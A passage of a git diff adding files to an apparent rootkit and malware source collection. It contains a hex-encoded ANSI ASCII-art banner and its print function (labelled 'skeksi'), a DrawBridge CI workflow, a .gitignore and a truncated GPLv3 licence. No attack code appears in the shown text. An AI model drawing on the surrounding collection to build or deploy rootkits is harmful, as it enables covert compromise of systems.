+"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74" +"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37" +"\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d" +"\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30" +"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x53\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30" +"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a"; + +void display_skeksi(void) +{ + _write(1, (char *)skeksi_banner, sizeof(skeksi_banner)); +} + diff --git a/Linux/Rootkit Techniques/DrawBridge/.github/workflows/ubuntu-latest.yml b/Linux/Rootkit Techniques/DrawBridge/.github/workflows/ubuntu-latest.yml new file mode 100644 index 0000000..39be6e8 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/.github/workflows/ubuntu-latest.yml @@ -0,0 +1,26 @@ +name: Ubuntu Latest Build CI + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v1 + - name: Ensure kmod is installed + run: sudo apt install kmod + - name: Install python3-setuptools and python3-dev + run: sudo apt install -y python3-setuptools python3-dev + - name: Ensure testinfra and ansible-inventory are installed + run: sudo pip3 install testinfra ansible + - name: Export role directory + run: export ANSIBLE_ROLES_PATH="$(pwd)/ansible/roles" + - name: Install Drawbridge + run: ansible-playbook main.yml + working-directory: ./ansible + - name: Run tests + run: py.test --hosts=localhost --connection=ansible --ansible-inventory=roles/drawbridge/tests/inventory roles/drawbridge/tests/test_drawbridge.py + working-directory: ./ansible + diff --git a/Linux/Rootkit Techniques/DrawBridge/.gitignore b/Linux/Rootkit Techniques/DrawBridge/.gitignore new file mode 100644 index 0000000..cea6b93 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/.gitignore @@ -0,0 +1,6 @@ +*.o +*.pyc +*.ko +*.tmp* +kernel/key.h +tools/target diff --git a/Linux/Rootkit Techniques/DrawBridge/LICENSE b/Linux/Rootkit Techniques/DrawBridge/LICENSE new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more 